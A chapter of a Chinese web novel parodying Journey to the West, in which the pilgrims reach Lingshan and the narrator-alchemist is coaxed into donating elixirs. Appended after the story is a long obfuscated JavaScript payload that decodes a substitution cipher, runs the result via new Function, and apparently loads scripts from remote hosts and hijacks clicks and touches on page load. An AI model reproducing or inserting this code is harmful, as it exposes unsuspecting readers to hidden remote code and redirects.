第一百九十章孙悟空表示已经有心理阴影了(1 / 1)

【725岁,由于九九八十一难已经凑齐了,取经队伍已经不需要继续经受历练了,所以接下来的时间里,取经队伍简直堪称顺风顺水。不知内情的唐三藏立刻就误会了,认定距离西天灵山大雷音寺越近,越容易受到佛法的熏陶,所以没有妖魔鬼怪霍乱人间,所以人人极乐众生不苦,对于西天取经普度众生的正确性,再也没有了任何怀疑。唐三藏下意识觉得,只要把佛法普及开来,整个人间都会成为乐土。然而实际上,只不过是孙悟空不想辜负蜘蛛精小七慷慨赴死的大仁大义,所以降妖除魔从不手软,已经成为了无数神仙妖怪眼中的瘟神。取经队伍走到什么地方,沿途的神仙妖怪都会提前修桥铺路,希望早点送走孙悟空这个一言不合抄起金箍棒就打的恋爱脑智障!】

【726岁,取经队伍抵达了灵山,但却在大雷音寺门外,被阿难迦叶二位尊者拦住了,因为猪八戒还在接受玉兔精的先天灵宝洗礼,取经队伍并未全员到齐。无论从哪方面分析,都应该是孙悟空折返回去,把猪八戒带回取经队伍,但孙悟空怀疑其中可能存在阴谋,不想遭到三界神仙耍猴的孙悟空,当即就表示已经到了灵山,大雷音寺就在眼前,沐浴斋戒三年五载然后再取回真经,不但可以表达对于无数佛陀菩萨的尊敬,还可以表达对于真经的重视,更可以对心灵进行戒骄戒躁的洗礼,简直就是一举三得,于是堂而皇之的赖在灵山不走了。唐三藏好说歹说,孙悟空就是不听,唐三藏实在是无奈了,只能请求沙和尚折返回去,把猪八戒带回取经队伍!】

【727岁,沙和尚原本是天庭底层的天将,服从命令已经成为了本能,于是便折返回来,请求玉兔精手下留情,放猪八戒前往灵山。玉兔精轮流使用各种各样的先天灵宝,现在玩的兴致昂扬,实在是不愿意就此打住,于是首先摆出了月精轮,跟沙和尚讲述了太阴仙子望舒女神生了十二个月亮仙子的传说故事,再详细描述了太阴仙子望舒女神十二月亮仙子与广寒宫嫦娥仙子朝夕相处抬头不见低头见的亲密关系,接着拿出了四象塔,跟沙和尚讲述了曾经的金光圣母现在的斗姆元君掌控周天星辰经常因为群星拱月而来到广寒宫找嫦娥仙子聊天,再然后拿出了曾经的无当圣母现在的黎山老母的真空珠、上古天庭战神九天玄女的寰宇战车、三圣母的宝莲灯、七仙女的彩虹桥……沙和尚当即就表示,孙悟空说的太有道理了,都已经到了灵山了,大雷音寺就在眼前,没必要猴急猴急的,反正都赶了十万八千里路程了,休息个三年五载养精蓄锐,然后再护送真经原路返回,这也是合情合理的!】

【728岁,猪八戒已经绝望了,原本以为取经队伍抵达灵山大雷音寺,无数佛陀菩萨为了西游量劫的圆满结束,肯定会让玉兔精立刻手下留情,没想到三界神仙竟然不约而同选择了集体看戏,这就让猪八戒无语凝噎了。猪八戒经过无数次的心里挣扎之后,最终做出了一个艰难的决定。人至贱则无敌,只要玉兔精抄起先天灵宝,猪八戒立刻就吓得屎尿横流,这一招简直太奏效了。没有任何仙女愿意日常携带的先天灵宝沾染猪八戒的恶臭,于是不约而同收回了先天灵宝,玉兔精不想用冰清玉洁的仙女之体,沾染猪八戒的肮脏之气,于是心不甘情不愿的返回广寒宫了!】

【729岁,猪八戒来到了灵山,取经队伍正式聚齐了,于是在阿难迦叶二位尊者的带领下,走进了大雷音寺拜见无数佛陀菩萨。如来佛祖说了一堆台词,然后就让阿难迦叶二位尊者,带着唐三藏前去挑选经书了。阿难迦叶二位尊者提醒唐三藏,经书的数量是无穷无尽的,而取经队伍最多只能带回去四千六百一十七卷,如何挑选经书就是一个技术活了。唐三藏还在懵逼,不知道阿难迦叶是什么意思,但猪八戒作为曾经的天蓬元帅,类似的套路实在是太熟悉了,立刻就让唐三藏把挑选经书的事情,当做一个工程承包出去。唐三藏只有九锡禅杖锦斓袈裟紫金钵三件佛宝,这是观音菩萨赐下的套装,把经书带回大唐之后,还得依靠三件套召开佛法大会,把经书传扬出去,因此无论如何也不能交出去。孙悟空不肯出钱,因为孙悟空仍然觉得这是三界神仙的套路,指不定就是钓鱼执法捉人拿脏的套路,猪八戒同样不肯出钱,因为猪八戒作为曾经的天蓬元帅,非常清楚不在其位不谋其政,不做不错越做越错,只能避麻烦不能找麻烦,沙和尚表示天庭底层的天将,实在是有心无力,就算是拿出全部身家,也只不过是三瓜俩枣,这就不是给报酬了,这就是侮辱人了!】

【730岁,你原本是想看戏的,没想到阿难迦叶二位尊者不讲武德,接连不断的在取经队伍面前夸奖你的炼丹技术非常优秀,很久很久以前就已经是公认的三界第四炼丹师了,自从你突破成为金仙并且领悟草还丹的奥义,已经有资格竞争三界第二炼丹师的位置了,就连继承截教西方教三位圣人炼丹道统的药师佛,以及继承人教阐教两位圣人炼丹道统的南极仙翁,单论炼丹术都得甘拜下风,这已经不是暗示了,这已经是明显的提示了,于是孙悟空就跑来问你要仙丹了!】

【731岁,你原本是非常不愿意的,如来佛祖请你帮忙全程关注取经队伍,你在此过程中耗费了无数脑细胞,无论从哪方面分析,都应该是佛门给你报酬,而不是你给佛门仙丹,但没过多久你就改变主意了。燃灯古佛暗示你,舍得舍得,没有舍就没有得,有了舍才有得,舍的越多,得的越多。观音菩萨暗示你,宝剑锋从磨砺出,梅花香自苦寒来,付出就有回报,今日付出的越多,来日回报就越丰厚。药师佛暗示你,你的炼丹技术越来越好了,你炼制的仙丹越来越多了,放在储物戒里就是一堆没有任何用处的垃圾,拿出来普度众生才能让你的仙丹发挥出价值。弥勒佛暗示你,财富是一个非常神奇的概念,如果你把仙丹放在储物戒里,原本是一,未来就还是一,但如果你把仙丹拿出来投资,现在付出是一,未来回报极有可能是二三四五六七八九,甚至有可能是十百千万亿。你顿悟了钱财乃身外之物的道理,于是把足以绕着灵山十圈的仙丹贡献出来了!】

!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();